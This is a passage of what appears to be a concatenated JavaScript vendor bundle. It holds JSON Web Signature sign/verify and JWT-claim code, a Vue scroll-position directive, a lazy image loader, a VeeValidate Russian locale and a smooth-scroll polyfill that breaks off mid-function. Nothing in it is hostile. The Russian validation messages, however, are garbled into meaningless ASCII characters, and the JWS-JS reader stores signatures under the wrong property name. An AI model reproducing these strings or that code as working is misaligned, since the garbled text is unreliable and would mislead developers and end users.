    if (typeof v == "string") {
        s = v;
        if (!p(s)) {
            throw "JWS Head is not safe JSON string:" + s
        }
        j = g(s)
    }
    n = y;
    if (typeof y == "object") {
        n = t.stringify(y)
    }
    if ((i == "" || i == null) && j.alg !== undefined) {
        i = j.alg
    }
    if ((i != "" && i != null) && j.alg === undefined) {
        j.alg = i;
        s = t.stringify(j)
    }
    if (i !== j.alg) {
        throw "alg and sHeader.alg doesn't match:" + i + "!=" + j.alg
    }
    var r = null;
    if (q.jwsalg2sigalg[i] === undefined) {
        throw "unsupported alg name:" + i
    } else {
        r = q.jwsalg2sigalg[i]
    }
    var e = utf8tob64u(s);
    var l = utf8tob64u(n);
    var b = e + "." + l;
    var x = "";
    if (r.substr(0, 4) == "Hmac") {
        if (z === undefined) {
            throw "mac key shall be specified for HS*alg"
        }
        var h = new o({
            alg: r,
            prov: "cryptojs",
            pass: z
        });
        h.updateString(b);
        x = h.doFinal()
    } else {
        if (r.indexOf("withECDSA") != -1) {
            var f = new c({
                alg: r
            });
            f.init(z, a);
            f.updateString(b);
            hASN1Sig = f.sign();
            x = KJUR.crypto.ECDSA.asn1SigToConcatSig(hASN1Sig)
        } else {
            if (r != "none") {
                var f = new c({
                    alg: r
                });
                f.init(z, a);
                f.updateString(b);
                x = f.sign()
            }
        }
    }
    var u = hextob64u(x);
    return b + "." + u
};
KJUR.jws.JWS.verify = function(w, B, n) {
    var x = KJUR,
        q = x.jws,
        t = q.JWS,
        i = t.readSafeJSONString,
        e = x.crypto,
        p = e.ECDSA,
        s = e.Mac,
        d = e.Signature,
        m;
    if (typeof RSAKey !== undefined) {
        m = RSAKey
    }
    var y = w.split(".");
    var f = y[0];
    var r = y[1];
    var c = f + "." + r;
    var A = b64utohex(y[2]);
    var l = i(b64utoutf8(y[0]));
    var k = null;
    var z = null;
    if (l.alg === undefined) {
        throw "algorithm not specified in header"
    } else {
        k = l.alg;
        z = k.substr(0, 2)
    }
    if (n != null && Object.prototype.toString.call(n) === "[object Array]" && n.length > 0) {
        var b = ":" + n.join(":") + ":";
        if (b.indexOf(":" + k + ":") == -1) {
            throw "algorithm '" + k + "' not accepted in the list"
        }
    }
    if (k != "none" && B === null) {
        throw "key shall be specified to verify."
    }
    if (typeof B == "string" && B.indexOf("-----BEGIN ") != -1) {
        B = KEYUTIL.getKey(B)
    }
    if (z == "RS" || z == "PS") {
        if (!(B instanceof m)) {
            throw "key shall be a RSAKey obj for RS*and PS*algs"
        }
    }
    if (z == "ES") {
        if (!(B instanceof p)) {
            throw "key shall be a ECDSA obj for ES*algs"
        }
    }
    if (k == "none") {}
    var u = null;
    if (t.jwsalg2sigalg[l.alg] === undefined) {
        throw "unsupported alg name:" + k
    } else {
        u = t.jwsalg2sigalg[k]
    }
    if (u == "none") {
        throw "not supported"
    } else {
        if (u.substr(0, 4) == "Hmac") {
            var o = null;
            if (B === undefined) {
                throw "hexadecimal key shall be specified for HMAC"
            }
            var j = new s({
                alg: u,
                pass: B
            });
            j.updateString(c);
            o = j.doFinal();
            return A == o
        } else {
            if (u.indexOf("withECDSA") != -1) {
                var h = null;
                try {
                    h = p.concatSigToASN1Sig(A)
                } catch (v) {
                    return false
                }
                var g = new d({
                    alg: u
                });
                g.init(B);
                g.updateString(c);
                return g.verify(h)
            } else {
                var g = new d({
                    alg: u
                });
                g.init(B);
                g.updateString(c);
                return g.verify(A)
            }
        }
    }
};
KJUR.jws.JWS.parse = function(g) {
    var c = g.split(".");
    var b = {};
    var f, e, d;
    if (c.length != 2 && c.length != 3) {
        throw "malformed sJWS:wrong number of '.' splitted elements"
    }
    f = c[0];
    e = c[1];
    if (c.length == 3) {
        d = c[2]
    }
    b.headerObj = KJUR.jws.JWS.readSafeJSONString(b64utoutf8(f));
    b.payloadObj = KJUR.jws.JWS.readSafeJSONString(b64utoutf8(e));
    b.headerPP = JSON.stringify(b.headerObj, null, " ");
    if (b.payloadObj == null) {
        b.payloadPP = b64utoutf8(e)
    } else {
        b.payloadPP = JSON.stringify(b.payloadObj, null, " ")
    }
    if (d !== undefined) {
        b.sigHex = b64utohex(d)
    }
    return b
};
KJUR.jws.JWS.verifyJWT = function(e, l, r) {
    var d = KJUR,
        j = d.jws,
        o = j.JWS,
        n = o.readSafeJSONString,
        p = o.inArray,
        f = o.includedArray;
    var k = e.split(".");
    var c = k[0];
    var i = k[1];
    var q = c + "." + i;
    var m = b64utohex(k[2]);
    var h = n(b64utoutf8(c));
    var g = n(b64utoutf8(i));
    if (h.alg === undefined) {
        return false
    }
    if (r.alg === undefined) {
        throw "acceptField.alg shall be specified"
    }
    if (!p(h.alg, r.alg)) {
        return false
    }
    if (g.iss !== undefined && typeof r.iss === "object") {
        if (!p(g.iss, r.iss)) {
            return false
        }
    }
    if (g.sub !== undefined && typeof r.sub === "object") {
        if (!p(g.sub, r.sub)) {
            return false
        }
    }
    if (g.aud !== undefined && typeof r.aud === "object") {
        if (typeof g.aud == "string") {
            if (!p(g.aud, r.aud)) {
                return false
            }
        } else {
            if (typeof g.aud == "object") {
                if (!f(g.aud, r.aud)) {
                    return false
                }
            }
        }
    }
    var b = j.IntDate.getNow();
    if (r.verifyAt !== undefined && typeof r.verifyAt === "number") {
        b = r.verifyAt
    }
    if (r.gracePeriod === undefined || typeof r.gracePeriod !== "number") {
        r.gracePeriod = 0
    }
    if (g.exp !== undefined && typeof g.exp == "number") {
        if (g.exp + r.gracePeriod < b) {
            return false
        }
    }
    if (g.nbf !== undefined && typeof g.nbf == "number") {
        if (b < g.nbf - r.gracePeriod) {
            return false
        }
    }
    if (g.iat !== undefined && typeof g.iat == "number") {
        if (b < g.iat - r.gracePeriod) {
            return false
        }
    }
    if (g.jti !== undefined && r.jti !== undefined) {
        if (g.jti !== r.jti) {
            return false
        }
    }
    if (!o.verify(e, l, r.alg)) {
        return false
    }
    return true
};
KJUR.jws.JWS.includedArray = function(b, a) {
    var c = KJUR.jws.JWS.inArray;
    if (b === null) {
        return false
    }
    if (typeof b !== "object") {
        return false
    }
    if (typeof b.length !== "number") {
        return false
    }
    for (var d = 0; d < b.length; d++) {
        if (!c(b[d], a)) {
            return false
        }
    }
    return true
};
KJUR.jws.JWS.inArray = function(d, b) {
    if (b === null) {
        return false
    }
    if (typeof b !== "object") {
        return false
    }
    if (typeof b.length !== "number") {
        return false
    }
    for (var c = 0; c < b.length; c++) {
        if (b[c] == d) {
            return true
        }
    }
    return false
};
KJUR.jws.JWS.jwsalg2sigalg = {
    HS256: "HmacSHA256",
    HS384: "HmacSHA384",
    HS512: "HmacSHA512",
    RS256: "SHA256withRSA",
    RS384: "SHA384withRSA",
    RS512: "SHA512withRSA",
    ES256: "SHA256withECDSA",
    ES384: "SHA384withECDSA",
    PS256: "SHA256withRSAandMGF1",
    PS384: "SHA384withRSAandMGF1",
    PS512: "SHA512withRSAandMGF1",
    none: "none",
};
KJUR.jws.JWS.isSafeJSONString = function(c, b, d) {
    var e = null;
    try {
        e = jsonParse(c);
        if (typeof e != "object") {
            return 0
        }
        if (e.constructor === Array) {
            return 0
        }
        if (b) {
            b[d] = e
        }
        return 1
    } catch (a) {
        return 0
    }
};
KJUR.jws.JWS.readSafeJSONString = function(b) {
    var c = null;
    try {
        c = jsonParse(b);
        if (typeof c != "object") {
            return null
        }
        if (c.constructor === Array) {
            return null
        }
        return c
    } catch (a) {
        return null
    }
};
KJUR.jws.JWS.getEncodedSignatureValueFromJWS = function(b) {
    var a = b.match(/^[^.]+\.[^.]+\.([^.]+)$/);
    if (a == null) {
        throw "JWS signature is not a form of 'Head.Payload.SigValue'."
    }
    return a[1]
};
KJUR.jws.JWS.getJWKthumbprint = function(d) {
    if (d.kty !== "RSA" && d.kty !== "EC" && d.kty !== "oct") {
        throw "unsupported algorithm for JWK Thumprint"
    }
    var a = "{";
    if (d.kty === "RSA") {
        if (typeof d.n != "string" || typeof d.e != "string") {
            throw "wrong n and e value for RSA key"
        }
        a += '"e":"' + d.e + '",';
        a += '"kty":"' + d.kty + '",';
        a += '"n":"' + d.n + '"}'
    } else {
        if (d.kty === "EC") {
            if (typeof d.crv != "string" || typeof d.x != "string" || typeof d.y != "string") {
                throw "wrong crv,x and y value for EC key"
            }
            a += '"crv":"' + d.crv + '",';
            a += '"kty":"' + d.kty + '",';
            a += '"x":"' + d.x + '",';
            a += '"y":"' + d.y + '"}'
        } else {
            if (d.kty === "oct") {
                if (typeof d.k != "string") {
                    throw "wrong k value for oct(symmetric)key"
                }
                a += '"kty":"' + d.kty + '",';
                a += '"k":"' + d.k + '"}'
            }
        }
    }
    var b = rstrtohex(a);
    var c = KJUR.crypto.Util.hashHex(b, "sha256");
    var e = hextob64u(c);
    return e
};
KJUR.jws.IntDate = {};
KJUR.jws.IntDate.get = function(c) {
    var b = KJUR.jws.IntDate,
        d = b.getNow,
        a = b.getZulu;
    if (c == "now") {
        return d()
    } else {
        if (c == "now +1hour") {
            return d() + 60 * 60
        } else {
            if (c == "now +1day") {
                return d() + 60 * 60 * 24
            } else {
                if (c == "now +1month") {
                    return d() + 60 * 60 * 24 * 30
                } else {
                    if (c == "now +1year") {
                        return d() + 60 * 60 * 24 * 365
                    } else {
                        if (c.match(/Z$/)) {
                            return a(c)
                        } else {
                            if (c.match(/^[0-9]+$/)) {
                                return parseInt(c)
                            }
                        }
                    }
                }
            }
        }
    }
    throw "unsupported format:" + c
};
KJUR.jws.IntDate.getZulu = function(a) {
    return zulutosec(a)
};
KJUR.jws.IntDate.getNow = function() {
    var a = ~~(new Date() / 1000);
    return a
};
KJUR.jws.IntDate.intDate2UTCString = function(a) {
    var b = new Date(a * 1000);
    return b.toUTCString()
};
KJUR.jws.IntDate.intDate2Zulu = function(e) {
    var i = new Date(e * 1000),
        h = ("0000" + i.getUTCFullYear()).slice(-4),
        g = ("00" + (i.getUTCMonth() + 1)).slice(-2),
        b = ("00" + i.getUTCDate()).slice(-2),
        a = ("00" + i.getUTCHours()).slice(-2),
        c = ("00" + i.getUTCMinutes()).slice(-2),
        f = ("00" + i.getUTCSeconds()).slice(-2);
    return h + g + b + a + c + f + "Z"
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.jws == "undefined" || !KJUR.jws) {
    KJUR.jws = {}
}
KJUR.jws.JWSJS = function() {
    var c = KJUR,
        b = c.jws,
        a = b.JWS,
        d = a.readSafeJSONString;
    this.aHeader = [];
    this.sPayload = "";
    this.aSignature = [];
    this.init = function() {
        this.aHeader = [];
        this.sPayload = undefined;
        this.aSignature = []
    };
    this.initWithJWS = function(f) {
        this.init();
        var e = f.split(".");
        if (e.length != 3) {
            throw "malformed input JWS"
        }
        this.aHeader.push(e[0]);
        this.sPayload = e[1];
        this.aSignature.push(e[2])
    };
    this.addSignature = function(e, h, m, k) {
        if (this.sPayload === undefined || this.sPayload === null) {
            throw "there's no JSON-JS signature to add."
        }
        var l = this.aHeader.length;
        if (this.aHeader.length != this.aSignature.length) {
            throw "aHeader.length !=aSignature.length"
        }
        try {
            var f = KJUR.jws.JWS.sign(e, h, this.sPayload, m, k);
            var j = f.split(".");
            var n = j[0];
            var g = j[2];
            this.aHeader.push(j[0]);
            this.aSignature.push(j[2])
        } catch (i) {
            if (this.aHeader.length > l) {
                this.aHeader.pop()
            }
            if (this.aSignature.length > l) {
                this.aSignature.pop()
            }
            throw "addSignature failed:" + i
        }
    };
    this.verifyAll = function(h) {
        if (this.aHeader.length !== h.length || this.aSignature.length !== h.length) {
            return false
        }
        for (var g = 0; g < h.length; g++) {
            var f = h[g];
            if (f.length !== 2) {
                return false
            }
            var e = this.verifyNth(g, f[0], f[1]);
            if (e === false) {
                return false
            }
        }
        return true
    };
    this.verifyNth = function(f, j, g) {
        if (this.aHeader.length <= f || this.aSignature.length <= f) {
            return false
        }
        var h = this.aHeader[f];
        var k = this.aSignature[f];
        var l = h + "." + this.sPayload + "." + k;
        var e = false;
        try {
            e = a.verify(l, j, g)
        } catch (i) {
            return false
        }
        return e
    };
    this.readJWSJS = function(g) {
        if (typeof g === "string") {
            var f = d(g);
            if (f == null) {
                throw "argument is not safe JSON object string"
            }
            this.aHeader = f.headers;
            this.sPayload = f.payload;
            this.aSignature = f.signatures
        } else {
            try {
                if (g.headers.length > 0) {
                    this.aHeader = g.headers
                } else {
                    throw "malformed header"
                }
                if (typeof g.payload === "string") {
                    this.sPayload = g.payload
                } else {
                    throw "malformed signatures"
                }
                if (g.signatures.length > 0) {
                    this.signatures = g.signatures
                } else {
                    throw "malformed signatures"
                }
            } catch (e) {
                throw "malformed JWS-JS JSON object:" + e
            }
        }
    };
    this.getJSON = function() {
        return {
            headers: this.aHeader,
            payload: this.sPayload,
            signatures: this.aSignature
        }
    };
    this.isEmpty = function() {
        if (this.aHeader.length == 0) {
            return 1
        }
        return 0
    }
};
(function() {
    var plugin;
    plugin = function(Vue) {
        return Vue.directive('keep-scroll-position', {
            bind: function(el) {
                el.addEventListener('scroll', function(event) {
                    event.target.setAttribute('data-vue-keep-scroll-position', event.target.scrollLeft + '-' + event.target.scrollTop);
                });
            },
            update: function(el) {
                if (el.hasAttribute('data-vue-keep-scroll-position')) {
                    pos = el.getAttribute('data-vue-keep-scroll-position').split('-');
                    el.scrollLeft = pos[0];
                    el.scrollTop = pos[1];
                }
            },
            inserted: function(el) {
                if (el.hasAttribute('data-vue-keep-scroll-position')) {
                    pos = el.getAttribute('data-vue-keep-scroll-position').split('-');
                    el.scrollLeft = pos[0];
                    el.scrollTop = pos[1];
                }
            }
        });
    };
    if (typeof Vue !== "undefined" && Vue !== null) {
        Vue.use(plugin);
    }
    if (typeof exports === 'object' && typeof module === 'object') {
        return module.exports = plugin;
    } else if (typeof define === 'function' && define.amd) {
        return define(function() {
            return plugin;
        });
    } else if (typeof window !== "undefined" && window !== null) {
        return window.VueKeepScrollPosition = plugin;
    }
})();
! function(e, t) {
    if ("object" == typeof exports && "object" == typeof module) module.exports = t();
    else if ("function" == typeof define && define.amd) define([], t);
    else {
        var n = t();
        for (var r in n)("object" == typeof exports ? exports : e)[r] = n[r]
    }
}(this, function() {
    return function(e) {
        function t(r) {
            if (n[r]) return n[r].exports;
            var i = n[r] = {
                i: r,
                l: !1,
                exports: {}
            };
            return e[r].call(i.exports, i, i.exports, t), i.l = !0, i.exports
        }
        var n = {};
        return t.m = e, t.c = n, t.i = function(e) {
            return e
        }, t.d = function(e, n, r) {
            t.o(e, n) || Object.defineProperty(e, n, {
                configurable: !1,
                enumerable: !0,
                get: r
            })
        }, t.n = function(e) {
            var n = e && e.__esModule ? function() {
                return e.default
            } : function() {
                return e
            };
            return t.d(n, "a", n), n
        }, t.o = function(e, t) {
            return Object.prototype.hasOwnProperty.call(e, t)
        }, t.p = "", t(t.s = 24)
    }([function(e, t, n) {
        e.exports = !n(3)(function() {
            return 7 != Object.defineProperty({}, "a", {get: function() {
                    return 7
                }
            }).a
        })
    }, function(e, t) {
        e.exports = function(e) {
            return "object" == typeof e ? null !== e : "function" == typeof e
        }
    }, function(e, t) {
        var n = e.exports = {
            version: "2.4.0"
        };
        "number" == typeof __e && (__e = n)
    }, function(e, t) {
        e.exports = function(e) {
            try {
                return !!e()
            } catch (e) {
                return !0
            }
        }
    }, function(e, t) {
        var n = e.exports = "undefined" != typeof window && window.Math == Math ? window : "undefined" != typeof self && self.Math == Math ? self : Function("return this")();
        "number" == typeof __g && (__g = n)
    }, function(e, t, n) {
        var r = n(14),
            i = n(19),
            o = n(21),
            u = Object.defineProperty;
        t.f = n(0) ? Object.defineProperty : function(e, t, n) {
            if (r(e), t = o(t, !0), r(n), i) try {
                return u(e, t, n)
            } catch (e) {}
            if ("get" in n || "set" in n) throw TypeError("Accessors not supported!");
            return "value" in n && (e[t] = n.value), e
        }
    }, function(e, t, n) {
        "use strict";
        t.__esModule = !0, t.default = function(e, t) {
            if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function")
        }
    }, function(e, t, n) {
        "use strict";

        function r(e) {
            return e && e.__esModule ? e : {
                default: e
            }
        }
        t.__esModule = !0;
        var i = n(11),
            o = r(i);
        t.default = function() {
            function e(e, t) {
                for (var n = 0; n < t.length; n++) {
                    var r = t[n];
                    r.enumerable = r.enumerable || !1, r.configurable = !0, "value" in r && (r.writable = !0), (0, o.default)(e, r.key, r)
                }
            }
            return function(t, n, r) {
                return n && e(t.prototype, n), r && e(t, r), t
            }
        }()
    }, function(e, t) {}, function(e, t) {
        (function(t) {
            e.exports = t
        }).call(t, {})
    }, function(e, t) {
        e.exports = function(e) {
            if (!e.webpackPolyfill) {
                var t = Object.create(e);
                t.children || (t.children = []), Object.defineProperty(t, "loaded", {
                    enumerable: !0,
                    get: function() {
                        return t.l
                    }
                }), Object.defineProperty(t, "id", {
                    enumerable: !0,
                    get: function() {
                        return t.i
                    }
                }), Object.defineProperty(t, "exports", {
                    enumerable: !0
                }), t.webpackPolyfill = 1
            }
            return t
        }
    }, function(e, t, n) {
        e.exports = {
            default: n(12),
            __esModule: !0
        }
    }, function(e, t, n) {
        n(22);
        var r = n(2).Object;
        e.exports = function(e, t, n) {
            return r.defineProperty(e, t, n)
        }
    }, function(e, t) {
        e.exports = function(e) {
            if ("function" != typeof e) throw TypeError(e + " is not a function!");
            return e
        }
    }, function(e, t, n) {
        var r = n(1);
        e.exports = function(e) {
            if (!r(e)) throw TypeError(e + " is not an object!");
            return e
        }
    }, function(e, t, n) {
        var r = n(13);
        e.exports = function(e, t, n) {
            if (r(e), void 0 === t) return e;
            switch (n) {
                case 1:
                    return function(n) {
                        return e.call(t, n)
                    };
                case 2:
                    return function(n, r) {
                        return e.call(t, n, r)
                    };
                case 3:
                    return function(n, r, i) {
                        return e.call(t, n, r, i)
                    }
            }
            return function() {
                return e.apply(t, arguments)
            }
        }
    }, function(e, t, n) {
        var r = n(1),
            i = n(4).document,
            o = r(i) && r(i.createElement);
        e.exports = function(e) {
            return o ? i.createElement(e) : {}
        }
    }, function(e, t, n) {
        var r = n(4),
            i = n(2),
            o = n(15),
            u = n(18),
            a = "prototype",
            c = function(e, t, n) {
                var f, s, l, d = e & c.F,
                    p = e & c.G,
                    v = e & c.S,
                    h = e & c.P,
                    y = e & c.B,
                    m = e & c.W,
                    w = p ? i : i[t] || (i[t] = {}),
                    b = w[a],
                    g = p ? r : v ? r[t] : (r[t] || {})[a];
                p && (n = t);
                for (f in n)(s = !d && g && void 0 !== g[f]) && f in w || (l = s ? g[f] : n[f], w[f] = p && "function" != typeof g[f] ? n[f] : y && s ? o(l, r) : m && g[f] == l ? function(e) {
                    var t = function(t, n, r) {
                        if (this instanceof e) {
                            switch (arguments.length) {
                                case 0:
                                    return new e;
                                case 1:
                                    return new e(t);
                                case 2:
                                    return new e(t, n)
                            }
                            return new e(t, n, r)
                        }
                        return e.apply(this, arguments)
                    };
                    return t[a] = e[a], t
                }(l) : h && "function" == typeof l ? o(Function.call, l) : l, h && ((w.virtual || (w.virtual = {}))[f] = l, e & c.R && b && !b[f] && u(b, f, l)))
            };
        c.F = 1, c.G = 2, c.S = 4, c.P = 8, c.B = 16, c.W = 32, c.U = 64, c.R = 128, e.exports = c
    }, function(e, t, n) {
        var r = n(5),
            i = n(20);
        e.exports = n(0) ? function(e, t, n) {
            return r.f(e, t, i(1, n))
        } : function(e, t, n) {
            return e[t] = n, e
        }
    }, function(e, t, n) {
        e.exports = !n(0) && !n(3)(function() {
            return 7 != Object.defineProperty(n(16)("div"), "a", {get: function() {
                    return 7
                }
            }).a
        })
    }, function(e, t) {
        e.exports = function(e, t) {
            return {
                enumerable: !(1 & e),
                configurable: !(2 & e),
                writable: !(4 & e),
                value: t
            }
        }
    }, function(e, t, n) {
        var r = n(1);
        e.exports = function(e, t) {
            if (!r(e)) return e;
            var n, i;
            if (t && "function" == typeof(n = e.toString) && !r(i = n.call(e))) return i;
            if ("function" == typeof(n = e.valueOf) && !r(i = n.call(e))) return i;
            if (!t && "function" == typeof(n = e.toString) && !r(i = n.call(e))) return i;
            throw TypeError("Can't convert object to primitive value")
        }
    }, function(e, t, n) {
        var r = n(17);
        r(r.S + r.F * !n(0), "Object", {
            defineProperty: n(5).f
        })
    }, , function(e, t, n) {
        "use strict";
        (function(e) {
            Object.defineProperty(t, "__esModule", {
                value: !0
            });
            var r = n(6),
                i = n.n(r),
                o = n(7),
                u = n.n(o);
            n(8);
            var a = function() {
                function e(t) {
                    var n = this;
                    i()(this, e), this.el = t.el, this.srcError = t.srcError || "", this.lazyClass = t.lazyClass || "lazy", this.removePreview = t.removePreview || !1, this.scale = t.scale || !1, this.EVENTS = ["scroll", "wheel", "mousewheel", "resize"], this.Util = {
                        throttle: function(e, t) {
                            var n = null,
                                r = 0;
                            return function() {
                                if (!n) {
                                    var i = Date.now() - r,
                                        o = this,
                                        u = arguments,
                                        a = function() {
                                            r = Date.now(), n = !1, e.apply(o, u)
                                        };
                                    i >= t ? a() : n = setTimeout(a, t)
                                }
                            }
                        },
                        on: function(e, t, n) {
                            e.addEventListener(t, n)
                        },
                        off: function(e, t, n) {
                            e.removeEventListener(t, n)
                        }
                    }, this.windowHasBind = !1, this.lazy = this.Util.throttle(function(e) {
                        n.fire()
                    }, 300), this.animationEvent = this.getAnimationEvent()
                }
                return u()(e, [{
                    key: "fire",
                    value: function() {
                        this.windowHasBind || (this.windowHasBind = !0, this.events(window, !0));
                        var e = document.querySelectorAll(this.el + " img." + this.lazyClass),
                            t = e.length;
                        if (t > 0)
                            for (var n = 0; n < t; n++) {
                                var r = e[n].getBoundingClientRect();
                                r.top < window.innerHeight && r.bottom > 0 && r.left < window.innerWidth && r.right > 0 && this.loadImage(e[n])
                            } else this.windowHasBind = !1, this.events(window, !1)
                    }
                }, {
                    key: "events",
                    value: function(e, t) {
                        var n = this;
                        t ? this.EVENTS.forEach(function(t) {
                            n.Util.on(e, t, n.lazy)
                        }) : this.EVENTS.forEach(function(t) {
                            n.Util.off(e, t, n.lazy)
                        })
                    }
                }, {
                    key: "loadImage",
                    value: function(e) {
                        var t = this,
                            classremove = this.lazyClass,
                            errorimg = this.srcError,
                            n = new Image;
                        e.dataset && (e.dataset.srcset && (n.srcset = e.dataset.srcset), e.dataset.sizes && (n.sizes = e.dataset.sizes)), n.src = e.dataset.src, n.className = "origin", this.scale && (n.className = "origin-scale"), e.classList.remove("lazy"), n.onload = function(r) {
                            t.mountImage(e, n)
                        }, n.onerror = function(t) {
                            e.classList.add("errorll");
                            e.classList.remove(classremove);
                            e.src = errorimg;
                        }
                    }
                }, {
                    key: "getAnimationEvent",
                    value: function() {
                        var e = document.createElement("fake"),
                            t = {
                                animation: "animationend",
                                OAnimation: "oAnimationEnd",
                                MozAnimation: "animationend",
                                WebkitAnimation: "webkitAnimationEnd"
                            };
                        for (var n in t)
                            if (void 0 !== e.style[n]) return t[n]
                    }
                }, {
                    key: "mountImage",
                    value: function(e, t) {
                        var n = this,
                            r = e.parentNode;
                        r.appendChild(t).addEventListener(this.animationEvent, function(t) {
                            t.target.alt = e.alt || "", e.classList.add("hide"), n.removePreview && (r.removeChild(e), t.target.classList.remove("origin"), t.target.classList.remove("origin-scale"))
                        })
                    }
                }]), e
            }();
            "undefined" != typeof exports ? (void 0 !== e && e.exports && (exports = e.exports = a), exports.Progressive = a) : "function" == typeof define && n(9) ? define("Progressive", [], function() {
                return a
            }) : this.Progressive = a
        }).call(t, n(10)(e))
    }])
});
! function(n, e) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (n.__locale__ru = n.__locale__ru || {}, n.__locale__ru.js = e())
}(this, function() {
    "use strict";
    var n = {
            after: function(n, e) {
                return "?>;5 " + n + " 4>;6=01KBL40B0?>A;5 " + e[0] + "."
            },
            alpha_dash: function(n) {
                return ">;5 " + n + " <>65BA>45@60BLB>;L:>1C:2K,F8D@K845D8A."
            },
            alpha_num: function(n) {
                return ">;5 " + n + " <>65BA>45@60BLB>;L:>1C:2K8F8D@K."
            },
            alpha_spaces: function(n) {
                return ">;5 " + n + " <>65BA>45@60BLB>;L:>1C:2K8?@>15;K."
            },
            alpha: function(n) {
                return ">;5 " + n + " <>65BA>45@60BLB>;L:>1C:2K."
            },
            before: function(n, e) {
                return "?>;5 " + n + " 4>;6=01KBL40B04> " + e[0] + "."
            },
            between: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL<564C " + e[0] + " 8 " + e[1] + "."
            },
            confirmed: function(n, e) {
                return ">;5 " + n + " =5A>2?0405BA " + e[0] + "."
            },
            date_between: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL<564C " + e[0] + " 8 " + e[1] + "."
            },
            date_format: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL2D>@<0B5 " + e[0] + "."
            },
            decimal: function(n, e) {
                void 0 === e && (e = ["*"]);
                var t = e[0];
                return ">;5 " + n + " 4>;6=>1KBLG8A;>2K<8<>65BA>45@60BL " + ("*" === t ? "" : t) + " 45AOB8G=KEG8A;0."
            },
            digits: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBLG8A;>2K<8B>G=>A>45@60BL " + e[0] + " F8D@K."
            },
            dimensions: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL " + e[0] + " ?8:A5;59=0 " + e[1] + " ?8:A5;59."
            },
            email: function(n) {
                return ">;5 " + n + " 4>;6=>1KBL459AB28B5;L=K<M;5:B@>==K<04@5A><."
            },
            ext: function(n) {
                return ">;5 " + n + " 4>;6=>1KBL459AB28B5;L=K<D09;><."
            },
            image: function(n) {
                return ">;5 " + n + " 4>;6=>1KBL87>1@065=85<."
            },
            in : function(n) {
                return ">;5 " + n + " 4>;6=>1KBL4>?CAB8<K<7=0G5=85<."
            },
            ip: function(n) {
                return ">;5 " + n + " 4>;6=>1KBL459AB28B5;L=K< IP-04@5A><."
            },
            max: function(n, e) {
                return ">;5 " + n + " =5<>65B1KBL1>;55 " + e[0] + " A8<2>;>2."
            },
            max_value: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL " + e[0] + " 8;8<5=55."
            },
            mimes: function(n) {
                return ">;5 " + n + " 4>;6=>8<5BL459AB28B5;L=K9B8?D09;0."
            },
            min: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL=5<5=55 " + e[0] + " A8<2>;>2."
            },
            min_value: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL " + e[0] + " 8;81>;LH5."
            },
            not_in: function(n) {
                return ">;5 " + n + " 4>;6=>1KBL4>?CAB8<K<7=0G5=85<."
            },
            numeric: function(n) {
                return ">;5 " + n + " 4>;6=>1KBLG8A;><."
            },
            regex: function(n) {
                return ">;5 " + n + " 8<55B>H81>G=K9D>@<0B."
            },
            required: function(n) {
                return ">;5 " + n + " >1O70B5;L=>4;O70?>;=5=8O."
            },
            size: function(n, e) {
                return ">;5 " + n + " 4>;6=>1KBL<5=LH5,G5< " + e[0] + " KB."
            },
            url: function(n) {
                return ">;5 " + n + " 8<55B>H81>G=K9D>@<0B URL."
            }
        },
        e = {
            name: "ru",
            messages: n,
            attributes: {}
        };
    return "undefined" != typeof VeeValidate && VeeValidate && (VeeValidate.Validator, !0) && VeeValidate.Validator.addLocale(e), e
});
(function(w, d, undefined) {
    'use strict';

    function polyfill() {
        if ('scrollBehavior' in d.documentElement.style) {
            return;
        }
        var Element = w.HTMLElement || w.Element;
        var SCROLL_TIME = 468;
        var original = {
            scroll: w.scroll || w.scrollTo,
            scrollBy: w.scrollBy,
            elScroll: Element.prototype.scroll || scrollElement,
            scrollIntoView: Element.prototype.scrollIntoView
        };
        var now = w.performance && w.performance.now ? w.performance.now.bind(w.performance) : Date.now;

        function scrollElement(x, y) {
            this.scrollLeft = x;
            this.scrollTop = y;
        }

        function ease(k) {
            return 0.5 * (1 - Math.cos(Math.PI * k));
        }

        function shouldBailOut(x) {
            if (typeof x !== 'object' || x === null || x.behavior === undefined || x.behavior === 'auto' || x.behavior === 'instant') {
                return true;
            }
            if (typeof x === 'object' && x.behavior === 'smooth') {
                return false;
            }
            throw new TypeError('behavior not valid');
        }

        function findScrollableParent(el) {
            var isBody;
            var hasScrollableSpace;
            var hasVisibleOverflow;
            do {
                el = el.parentNode;
                isBody = el === d.body;
                hasScrollableSpace = el.clientHeight < el.scrollHeight || el.clientWidth < el.scrollWidth;
                hasVisibleOverflow = w.getComputedStyle(el, null).overflow === 'visible';
            } while (!isBody && !(hasScrollableSpace && !hasVisibleOverflow));
            isBody = hasScrollableSpace = hasVisibleOverflow = null;
            return el;
        }

        function step(context) {
            var time = now();
            var value;
            var currentX;
            var currentY;
            var elapsed = (time - context.startTime) / SCROLL_TIME;
            elapsed = elapsed > 1 ? 1 : elapsed;
            value = ease(elapsed);
            currentX = context.startX + (context.x - context.startX) * value;
            currentY = context.startY + (context.y - context.startY) * value;
            context.method.call(context.scrollable, currentX, currentY);
            if (currentX !== context.x || currentY !== context.y) {
                w.requestAnimationFrame(step.bind(w, context));
            }
        }

        function smoothScroll(el, x, y) {
            var scrollable;
            var startX;
            var startY;
            var method;
            var startTime = now();
            if (el === d.body) {
                scrollable = w;
                startX = w.scrollX || w.pageXOffset;
                startY = w.scrollY || w.pageYOffset;
                method = original.scroll;
            } else {
                scrollable = el;
                startX = el.scrollLeft;
                startY = el.scrollTop;
                method = scrollElement;
            }
            step({
                scrollable: scrollable,
                method: method,
                startTime: startTime,
                startX: startX,
                startY: startY,
                x: x,
                y: y
            });
        }
        w.scroll = w.scrollTo = function() {
            if (shouldBailOut(arguments[0])) {
                original.scroll.call(w, arguments[0].left || arguments[0], arguments[0].top || arguments[1]);
                return;
            }
            smoothScroll.call(w, d.body, ~~arguments[0].left, ~~arguments[0].top);
        };
        w.scrollBy = function() {
